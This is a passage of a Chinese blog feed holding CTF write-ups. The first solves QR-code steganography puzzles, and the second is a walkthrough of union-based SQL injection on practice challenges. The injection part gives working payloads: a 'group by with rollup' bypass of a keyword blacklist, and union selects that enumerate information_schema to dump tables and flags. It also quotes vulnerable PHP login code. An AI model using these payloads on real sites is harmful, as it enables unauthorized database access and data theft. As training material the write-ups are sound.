    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>可以上网查查了解一下二维码的原理，能学到一些知识也对我们做CTF二维码题有一定帮助。二维码出现在CTF题中一般都是穿插在其他题中，或者整体就是考查都是二维码，整体来说不算太难，如果会PS会更容易一些。推荐文章：<a href="https://mp.weixin.qq.com/s/1C98fhfoP81onob6a_v6Ag" target="_blank" rel="noopener">CTF中二维码题目及答题技巧总结（二）</a>。<a id="more"></a></p><h2 id="题目复现"><a href="#题目复现" class="headerlink" title="题目复现"></a>题目复现</h2><h3 id="实验吧-复杂的QR-code"><a href="#实验吧-复杂的QR-code" class="headerlink" title="实验吧 - 复杂的QR_code"></a>实验吧 - 复杂的QR_code</h3><p>题目地址：<a href="http://www.shiyanbar.com/ctf/1856" target="_blank" rel="noopener">http://www.shiyanbar.com/ctf/1856</a>解题链接：<a href="http://ctf5.shiyanbar.com/stega/QR_code.png" target="_blank" rel="noopener">http://ctf5.shiyanbar.com/stega/QR_code.png</a></p><p>打开链接，发现是一张二维码，尝试扫一下</p><p><img src="/2019/07/26/MISC-二维码图片/QR_code.png" alt="1"></p><p>扫出来是：secret is here</p><p>然后放在winhex里看一下，发现有一个隐藏的zip文件，zip里面有一个txt文件</p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726171017.png" alt="2"></p><p>所以binwalk一下，得到一个压缩包打开，是一个加密的txt文件，文件名叫4number.txt，密码应该就是4个数字了，那就暴力破解，可以用archpr（也可以用kali带的叫<a href="http://topspeedsnail.com/fcrackzip-crack-zip-password/" target="_blank" rel="noopener">fcrackzip</a>的工具）</p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726172644.png" alt="3"></p><p>密码就是7639了，打开文件输入密码得到flag：CTF{vjpw_wnoei}</p><h3 id="bugkuCTF-图穷匕见"><a href="#bugkuCTF-图穷匕见" class="headerlink" title="bugkuCTF - 图穷匕见"></a>bugkuCTF - 图穷匕见</h3><p>解题链接：<a href="https://ctf.bugku.com/files/f6697e1f904a0c30b56f72fcf0023434/paintpaintpaint.jpg" target="_blank" rel="noopener">https://ctf.bugku.com/files/f6697e1f904a0c30b56f72fcf0023434/paintpaintpaint.jpg</a></p><p><img src="/2019/07/26/MISC-二维码图片/paintpaintpaint.jpg" alt="4"></p><p>保存图片，用winhex打开找到jpg文件尾<code>FF D9</code>发现后有一长串数字</p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726182408.png" alt="5"></p><p>观察下应该是16进制，将之后的数据保存到txt中，用notepad++打开，有一个插件可以解码</p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726183323.png" alt="6"></p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726183500.png" alt="7"></p><p>得到很多坐标，所以就要“画图”了，用gnuplot（<a href="https://sourceforge.net/projects/gnuplot/" target="_blank" rel="noopener">下载</a>）这个工具将这些坐标做成一张图即可，不过要先将坐标改成gnuplot能识别的坐标</p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726183842.png" alt="8"></p><p>把txt文件放到gnuplot的bin目录下，运行gnuplot</p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726184616.png" alt="9"></p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726184645.png" alt="10"></p><p>得到一个二维码</p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726184755.png" alt="11"></p><p>扫描得到flag：flag{40fc0a979f759c8892f4dc045e28b820}</p><h3 id="bugkuCTF-很普通的数独"><a href="#bugkuCTF-很普通的数独" class="headerlink" title="bugkuCTF - 很普通的数独"></a>bugkuCTF - 很普通的数独</h3><p>题目地址：<a href="https://ctf.bugku.com/challenges#%E5%BE%88%E6%99%AE%E9%80%9A%E7%9A%84%E6%95%B0%E7%8B%AC(ISCCCTF)" target="_blank" rel="noopener">https://ctf.bugku.com/challenges#%E5%BE%88%E6%99%AE%E9%80%9A%E7%9A%84%E6%95%B0%E7%8B%AC(ISCCCTF)</a></p><p>下载压缩包后缀名改成.zip，打开后发现有25张数独的图片</p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726220908.png" alt="12"></p><p>然后呢？？看了大佬wp才明白这题是个啥</p><p>把这25张图片弄成5x5排列发现这其实是张二维码。1.png、5.png、21.png仔细看看就是是二维码的定位形状，三个角上的方形块，1.png是二维码右上角、5.png是二维码左下角、21.png是二维码左上角，所以把这三张换下顺序，1.png、5.png、21.png重命名成:5.png、21.png、1.png。</p><p>然后把有数字的格记为数字1(代表黑色)，没有的记为0(代表白色)，保存为txt文件</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">111111101010101000101000001111110000101111111</span><br><span class="line">100000101100111101010011101100011001001000001</span><br><span class="line">101110101110011111010011111101000101001011101</span><br><span class="line">101110101101100010001010000011110001101011101</span><br><span class="line">101110100011100100001111101111111011101011101</span><br><span class="line">100000101100100000011000100001110100001000001</span><br><span class="line">111111101010101010101010101010101011101111111</span><br><span class="line">000000000011001101001000110100110011100000000</span><br><span class="line">110011100100100001111111100100101000000101111</span><br><span class="line">101001001011111111101110101011110101101001100</span><br><span class="line">100000111100100100000110001101001101010001010</span><br><span class="line">001100010011010001010011000100000010110010000</span><br><span class="line">010110101010001111110100011101001110101101111</span><br><span class="line">100011000100011100111011101101100101101110001</span><br><span class="line">001100110100000000010010000111100101101011010</span><br><span class="line">101000001011010111110011011111101001110100011</span><br><span class="line">110111110111011001101100010100001110000100000</span><br><span class="line">110101000010101000011101101101110101101001100</span><br><span class="line">010011111110001011111010001000011011101101100</span><br><span class="line">011001011001010101100011110101001100001010010</span><br><span class="line">010111111111101011111111101101101111111111100</span><br><span class="line">011110001100000100001000101000100100100011110</span><br><span class="line">111110101110011100111010110100110100101010010</span><br><span class="line">110010001011101011101000111100000011100010000</span><br><span class="line">101011111011100111101111111100001010111110010</span><br><span class="line">110100011000111000100111101101111101000100010</span><br><span class="line">111101111110001001000011010110001111110111110</span><br><span class="line">011001010101000110010100010001000101101010001</span><br><span class="line">011101110101101101100100001101101000111101001</span><br><span class="line">110110001001101100010101101111110100101100110</span><br><span class="line">000011100111000000000100001010101111100010010</span><br><span class="line">111010010011110011101110010100001011111010010</span><br><span class="line">101001100010111111110100000100001010101010100</span><br><span class="line">000010011001001101110101001111100101111101101</span><br><span class="line">000010111101110001101011000001000101110100110</span><br><span class="line">011110011010100010100000011011000001110010000</span><br><span class="line">100110100100001101111111101100101110111110011</span><br><span class="line">000000001111110101101000101011100100100011010</span><br><span class="line">111111100011111011011010101101110011101011110</span><br><span class="line">100000101110101101101000111110010001100010001</span><br><span class="line">101110101011100001111111101101001000111111011</span><br><span class="line">101110100110111101101000001001101100011101101</span><br><span class="line">101110100000011101100001101010110010010010001</span><br><span class="line">100000101011001011111011001011000011010110000</span><br><span class="line">111111101010101001111011110101101110000101101</span><br></pre></td></tr></table></figure><p>再把这些数字用python脚本画出二维码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line">x = <span class="number">45</span></span><br><span class="line">y = <span class="number">45</span></span><br><span class="line"> </span><br><span class="line">im = Image.new(<span class="string">'RGB'</span>, (x, y))</span><br><span class="line">white = (<span class="number">255</span>, <span class="number">255</span>, <span class="number">255</span>)</span><br><span class="line">black = (<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>)</span><br><span class="line"> </span><br><span class="line"><span class="keyword">with</span> open(<span class="string">'file.txt'</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(x):</span><br><span class="line">        ff = f.readline()</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> range(y):</span><br><span class="line">            <span class="keyword">if</span> ff[j] == <span class="string">'1'</span>:</span><br><span class="line">                im.putpixel((i, j), black)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                im.putpixel((i, j), white)</span><br><span class="line">im.save(<span class="string">"1.jpg"</span>)</span><br></pre></td></tr></table></figure><p>把txt文件放到python目录下，运行python脚本，得到二维码（如果运行python脚本是出现<code>UnicodeDecodeError: ‘gbk’ codec can’t decode byte 0xfe in position 0: illegal multibyte sequence</code>错误，用notepad++打开txt文件将编码改为utf-8编码就行了）</p><p><img src="/2019/07/26/MISC-二维码图片/1.jpg" alt="13"></p><p>扫描二维码，得到</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Vm0xd1NtUXlWa1pPVldoVFlUSlNjRlJVVGtOamJGWnlWMjFHVlUxV1ZqTldNakZIWVcxS1IxTnNhRmhoTVZweVdWUkdXbVZHWkhOWGJGcHBWa1paZWxaclpEUmhNVXBYVW14V2FHVnFRVGs9</span><br></pre></td></tr></table></figure><p>多次base64解码应该是7次，得到flag：flag{y0ud1any1s1}</p><p>参考文章：<a href="https://blog.csdn.net/zz_Caleb/article/details/88800201" target="_blank" rel="noopener">https://blog.csdn.net/zz_Caleb/article/details/88800201</a></p><h3 id="bugkuCTF-闪的好快"><a href="#bugkuCTF-闪的好快" class="headerlink" title="bugkuCTF - 闪的好快"></a>bugkuCTF - 闪的好快</h3><p>解题链接：<a href="https://ctf.bugku.com/files/6dcac03199e58749725cbcd9cc958a9b/masterGO.gif" target="_blank" rel="noopener">https://ctf.bugku.com/files/6dcac03199e58749725cbcd9cc958a9b/masterGO.gif</a></p><p>打开后是一个二维码的gif动图</p><p><img src="/2019/07/26/MISC-二维码图片/masterGO.gif" alt="14"></p><p>那就把每帧分开，可以用WPS图片查看也可以用stegsolve的Analysis-&gt;Frame Browser查看，有18张图片，挨个扫下得到flag：SYC{F1aSh_so_f4sT}</p><h3 id="bugkuCTF-多种方法解决"><a href="#bugkuCTF-多种方法解决" class="headerlink" title="bugkuCTF - 多种方法解决"></a>bugkuCTF - 多种方法解决</h3><p>解题链接：<a href="http://123.206.87.240:8002/misc/3.zip" target="_blank" rel="noopener">http://123.206.87.240:8002/misc/3.zip</a></p><p>题目内容：在做题过程中你会得到一个二维码图片</p><p>下载压缩包打开发现是一个exe文件，放到winhex里面查看发现</p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726235155.png" alt="15"></p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190726235207.png" alt="16"></p><p>所以这里要base64编码还原成图片，将文件后缀名改成.txt复制内容，<a href="http://imgbase64.duoshitong.com/" target="_blank" rel="noopener">在线转换</a>，得到二维码</p><p><img src="/2019/07/26/MISC-二维码图片/2.png" alt="17"></p><p>扫描二维码得到flag：KEY{dca57f966e4e4e31fd5b15417da63269}</p><h3 id="bugkuCTF-普通的二维码"><a href="#bugkuCTF-普通的二维码" class="headerlink" title="bugkuCTF - 普通的二维码"></a>bugkuCTF - 普通的二维码</h3><p>题目地址：<a href="https://ctf.bugku.com/challenges#%E6%99%AE%E9%80%9A%E7%9A%84%E4%BA%8C%E7%BB%B4%E7%A0%81" target="_blank" rel="noopener">https://ctf.bugku.com/challenges#%E6%99%AE%E9%80%9A%E7%9A%84%E4%BA%8C%E7%BB%B4%E7%A0%81</a></p><p>下载压缩包打开有一张二维码图片</p><p><img src="/2019/07/26/MISC-二维码图片/misc100.bmp" alt="18"></p><p>扫描得到：哈哈!就不告诉你flag就在这里!</p><p>没有什么用，那应该有隐藏的文件，放到winhex中查看</p><p><img src="/2019/07/26/MISC-二维码图片/QQ截图20190727000747.png" alt="19"></p><p>末尾有一串数字，观察右边数字只有0~7，所以可能是八进制，查下ASCII码表发现146就是f，然后就是3个数字一组，由八进制转换成字符了，可以使用python脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">a=[<span class="number">146</span>,<span class="number">154</span>,<span class="number">141</span>,<span class="number">147</span>,<span class="number">173</span>,<span class="number">110</span>,<span class="number">141</span>,<span class="number">166</span>,<span class="number">145</span>,<span class="number">137</span>,<span class="number">171</span>,<span class="number">60</span>,<span class="number">125</span>,<span class="number">137</span>,<span class="number">120</span>,<span class="number">171</span>,<span class="number">137</span>,<span class="number">163</span>,<span class="number">143</span>,<span class="number">162</span>,<span class="number">151</span>,<span class="number">160</span>,<span class="number">164</span>,<span class="number">137</span>,<span class="number">117</span>,<span class="number">164</span>,<span class="number">143</span>,<span class="number">137</span>,<span class="number">124</span>,<span class="number">157</span>,<span class="number">137</span>,<span class="number">124</span>,<span class="number">145</span>,<span class="number">156</span>,<span class="number">137</span>,<span class="number">101</span>,<span class="number">163</span>,<span class="number">143</span>,<span class="number">151</span>,<span class="number">151</span>,<span class="number">41</span>,<span class="number">175</span>]</span><br><span class="line">j=<span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> a:</span><br><span class="line">j = j+chr(int(str(i),<span class="number">8</span>))</span><br><span class="line"><span class="keyword">print</span> (j)</span><br></pre></td></tr></table></figure><p>运行脚本得到flag：flag{Have_y0U_Py_script_Otc_To_Ten_Ascii!}</p>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;可以上网查查了解一下二维码的原理，能学到一些知识也对我们做CTF二维码题有一定帮助。二维码出现在CTF题中一般都是穿插在其他题中，或者整体就是考查都是二维码，整体来说不算太难，如果会PS会更容易一些。推荐文章：&lt;a href=&quot;https://mp.weixin.qq.com/s/1C98fhfoP81onob6a_v6Ag&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CTF中二维码题目及答题技巧总结（二）&lt;/a&gt;。&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>SQL注入&lt;二&gt;-联合查询注入</title>
    <link href="http://yoursite.com/2019/07/21/SQL%E6%B3%A8%E5%85%A5-%E4%BA%8C-%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5/"/>
    <id>http://yoursite.com/2019/07/21/SQL注入-二-联合查询注入/</id>
    <published>2019-07-21T06:09:21.000Z</published>
    <updated>2019-08-06T07:45:48.354Z</updated>
    
    <content type="html"><![CDATA[<h2 id="概论"><a href="#概论" class="headerlink" title="概论"></a>概论</h2><p><strong>联合查询</strong>：<code>union</code>可合并两个或多个select语句的结果集，前提是由两条或两条以上的select语句组成，语句之间用关键字union分隔，union中的每个查询的列数必须相同。union会从查询结果集中自动去除了重复行。</p><p><strong>利用前提</strong>：页面上有显示位。显示位：在一个网站的正常页面，服务端执行SQL语句查询数据库中的数据，客户端将数 据展示在页面中，这个展示数据的位置就叫显示位。</p><p><strong>常用函数</strong>：<a id="more"></a></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">group_concat():让查询获得的数据组成一行显示</span><br><span class="line">count():用于统计个数（类似于表的个数，数据库的个数等等）</span><br><span class="line">concat():将多个字符串拼接在一起</span><br></pre></td></tr></table></figure><h2 id="例题"><a href="#例题" class="headerlink" title="例题"></a>例题</h2><h3 id="实验吧-因缺思汀的绕过"><a href="#实验吧-因缺思汀的绕过" class="headerlink" title="实验吧 - 因缺思汀的绕过"></a>实验吧 - 因缺思汀的绕过</h3><p>题目地址：<a href="http://www.shiyanbar.com/ctf/1940" target="_blank" rel="noopener">http://www.shiyanbar.com/ctf/1940</a> 解题链接：<a href="http://ctf5.shiyanbar.com/web/pcat/index.php" target="_blank" rel="noopener">http://ctf5.shiyanbar.com/web/pcat/index.php</a></p><p>题目内容：访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码，请求，响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。web题主要考察SQL注入，XSS等相关知识。涉及方向较多。此题主要涉及源码审计，MySQL相关的知识。</p><p>打开后，查看源码发现有个注释<code><!--source: source.txt--></code>这应该是源码所在的位置了，访问一下（将source.txt复制到当前地址栏里替换index.php）的确是源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>($_POST[<span class="string">'uname'</span>]) || !<span class="keyword">isset</span>($_POST[<span class="string">'pwd'</span>])) &#123;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;form action="" method="post"&gt;'</span>.<span class="string">"&lt;br/&gt;"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;input name="uname" type="text"/&gt;'</span>.<span class="string">"&lt;br/&gt;"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;input name="pwd" type="text"/&gt;'</span>.<span class="string">"&lt;br/&gt;"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;input type="submit" /&gt;'</span>.<span class="string">"&lt;br/&gt;"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;/form&gt;'</span>.<span class="string">"&lt;br/&gt;"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;!--source: source.txt--&gt;'</span>.<span class="string">"&lt;br/&gt;"</span>;</span><br><span class="line">    <span class="keyword">die</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">AttackFilter</span><span class="params">($StrKey,$StrValue,$ArrReq)</span></span>&#123;  </span><br><span class="line">    <span class="keyword">if</span> (is_array($StrValue))&#123;</span><br><span class="line">        $StrValue=implode($StrValue);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (preg_match(<span class="string">"/"</span>.$ArrReq.<span class="string">"/is"</span>,$StrValue)==<span class="number">1</span>)&#123;   </span><br><span class="line">        <span class="keyword">print</span> <span class="string">"水可载舟，亦可赛艇！"</span>;</span><br><span class="line">        <span class="keyword">exit</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$filter = <span class="string">"and|select|from|where|union|join|sleep|benchmark|,|\(|\)"</span>;</span><br><span class="line"><span class="keyword">foreach</span>($_POST <span class="keyword">as</span> $key=&gt;$value)&#123; </span><br><span class="line">    AttackFilter($key,$value,$filter);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$con = mysql_connect(<span class="string">"XXXXXX"</span>,<span class="string">"XXXXXX"</span>,<span class="string">"XXXXXX"</span>);</span><br><span class="line"><span class="keyword">if</span> (!$con)&#123;</span><br><span class="line"><span class="keyword">die</span>(<span class="string">'Could not connect: '</span> . mysql_error());</span><br><span class="line">&#125;</span><br><span class="line">$db=<span class="string">"XXXXXX"</span>;</span><br><span class="line">mysql_select_db($db, $con);</span><br><span class="line">$sql=<span class="string">"SELECT * FROM interest WHERE uname = '&#123;$_POST['uname']&#125;'"</span>;</span><br><span class="line">$query = mysql_query($sql); </span><br><span class="line"><span class="keyword">if</span> (mysql_num_rows($query) == <span class="number">1</span>) &#123; </span><br><span class="line">    $key = mysql_fetch_array($query);</span><br><span class="line">    <span class="keyword">if</span>($key[<span class="string">'pwd'</span>] == $_POST[<span class="string">'pwd'</span>]) &#123;</span><br><span class="line">        <span class="keyword">print</span> <span class="string">"CTF&#123;XXXXXX&#125;"</span>;</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        <span class="keyword">print</span> <span class="string">"亦可赛艇！"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="keyword">print</span> <span class="string">"一颗赛艇！"</span>;</span><br><span class="line">&#125;</span><br><span class="line">mysql_close($con);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>分析下源码（专业点就是源码审计），</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$filter = <span class="string">"and|select|from|where|union|join|sleep|benchmark|,|\(|\)"</span>;</span><br></pre></td></tr></table></figure><p>这行代码就是把$filter中的那些SQL注入的关键字给过滤了，那绕过这个限制只需要不用带这些关键字的SQL语句就行，否则网页返回”水可载舟，亦可赛艇！”</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$sql="<span class="keyword">SELECT</span> * <span class="keyword">FROM</span> interest <span class="keyword">WHERE</span> uname = <span class="string">'&#123;$_POST['</span>uname<span class="string">']&#125;'</span><span class="string">";</span></span><br></pre></td></tr></table></figure><p>将uname作为条件输入，然后通过提交的uname去数据库中查询uname和pwd，然后把查询到的pwd和用户输入的pwd再进行对比</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (mysql_num_rows($query) == <span class="number">1</span>)</span><br></pre></td></tr></table></figure><p>数据库影响数为1返回结果只能有一条，这是可以使用 limit 的返回来判断数据库中总共有几个人。 可以构造：</p><p><code>1’ or 1 limit 1 offset 0#</code>返回“亦可赛艇！”（1个人）</p><p><code>1’ or 1 limit 1 offset 1#</code>返回“亦可赛艇！”（两个人）</p><p><code>1’ or 1 limit 1 offset 2#</code>返回“一颗赛艇！”（没有第三个人）说明有两个用户</p><p>注：<code>limit 1</code>查询一行、<code>offset 2</code>从第二行开始查询</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>($key[<span class="string">'pwd'</span>] == $_POST[<span class="string">'pwd'</span>]) &#123;</span><br><span class="line">        <span class="keyword">print</span> <span class="string">"CTF&#123;XXXXXX&#125;"</span>;</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        <span class="keyword">print</span> <span class="string">"亦可赛艇！"</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>传入的pwd和查询出来的结果一致就输出flag否则报错，使if判断为true得到flag，可以利用<code>group by with rollup</code>，<code>group by with rollup</code>会在统计后的产生一条null信息，然后在pwd里不写值，if就为true了。</p><p>注：GROUP&nbsp;BY 语句用于结合聚合函数，根据一个或多个列对结果集进行分组。with&nbsp;rollup详解可以看<a href="https://dev.mysql.com/doc/refman/5.5/en/group-by-modifiers.html" target="_blank" rel="noopener">这里</a></p><p>最终payload为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1&apos; or 1 group by pwd with rollup limit 1 offset 2#</span><br></pre></td></tr></table></figure><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721160138.png" alt="1"></p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721160153.png" alt="2"></p><p>flag为<code>CTF{with_rollup_interesting}</code></p><h3 id="bugkuCTF-这是一个神奇的登录框"><a href="#bugkuCTF-这是一个神奇的登录框" class="headerlink" title="bugkuCTF - 这是一个神奇的登录框"></a>bugkuCTF - 这是一个神奇的登录框</h3><p>题目链接：<a href="http://123.206.87.240:9001/sql/" target="_blank" rel="noopener">http://123.206.87.240:9001/sql/</a></p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721170236.png" alt="3"></p><p>先随意输入用户名密码页面返回</p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721170544.png" alt="4"></p><p>找注入点，输入1’，页面返回</p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721170544.png" alt="5"></p><p>输入1“，页面报错返回</p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721170814.png" alt="6"></p><p>说明可以注入，这题按照基本注入步骤就可以了</p><p>判断字段个数，输入<code>1”order by 1,2#</code></p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721170544.png" alt="7"></p><p>输入<code>1”order by 1,2,3#</code></p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721171241.png" alt="8"></p><p>说明有两列</p><p>爆库名：输入<code>1” union select database(),2#</code>，得到库名bugkusql1</p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721171616.png" alt="9"></p><p>爆表名：输入<code>1” union select table_name,2 from information_schema.tables where table_schema=’bugkusql1’ #</code>，得到表名falg1</p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721172252.png" alt="10"></p><p>爆列名（字段）：输入<code>1” union select column_name,2 from information_schema.columns where table_name=’flag1’ #</code>，得到列名flag1</p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721172252.png" alt="11"></p><p>查数据：输入<code>1” union select flag1,2 from flag1 #</code>，得到值也就是flag<code>ed6b28e684817d9efcaf802979e57aea</code>，提交时要加上flag{}</p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721172907.png" alt="12"></p><h3 id="bugkuCTF-成绩单"><a href="#bugkuCTF-成绩单" class="headerlink" title="bugkuCTF - 成绩单"></a>bugkuCTF - 成绩单</h3><p>题目链接：<a href="http://123.206.87.240:8002/chengjidan/" target="_blank" rel="noopener">http://123.206.87.240:8002/chengjidan/</a></p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721174412.png" alt="13"></p><p>与上题思路是一样的，依次输入1，2，3都有输出，输入1‘无回显，输入1’#返回龙龙龙的成绩，所以这是字符型注入。</p><p>判断字段个数：输入</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">1' order by 1<span class="comment">#</span></span><br><span class="line">1' order by 2<span class="comment">#</span></span><br><span class="line">1' order by 3<span class="comment">#</span></span><br><span class="line">1' order by 4<span class="comment">#</span></span><br></pre></td></tr></table></figure><p>都有回显，再往后输入5#时无回显，所以字段数为4</p><p>爆库名：输入<code>0’ union select 1,2,3,database()#</code>，不用1是因为id=1我们的东西会被覆盖它会显示龙龙龙的成绩，所以要换一个id，得到库名skctf_flag</p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721180101.png" alt="14"></p><p>爆表名：输入<code>0’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#</code>，得到表名fl4g，sc</p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721180632.png" alt="15"></p><p>爆列名（字段）：输入<code>0’ union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’fl4g’)#</code>，得到列名skctf_flag</p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721180928.png" alt="16"></p><p>查数据：输入<code>0’ union select 1,2,3,skctf_flag from fl4g#</code>，得到值即flag<code>BUGKU{Sql_INJECT0N_4813drd8hz4}</code></p><p><img src="/2019/07/21/SQL注入-二-联合查询注入/QQ截图20190721181153.png" alt="17"></p><h2 id="总结"><a href="#总结" 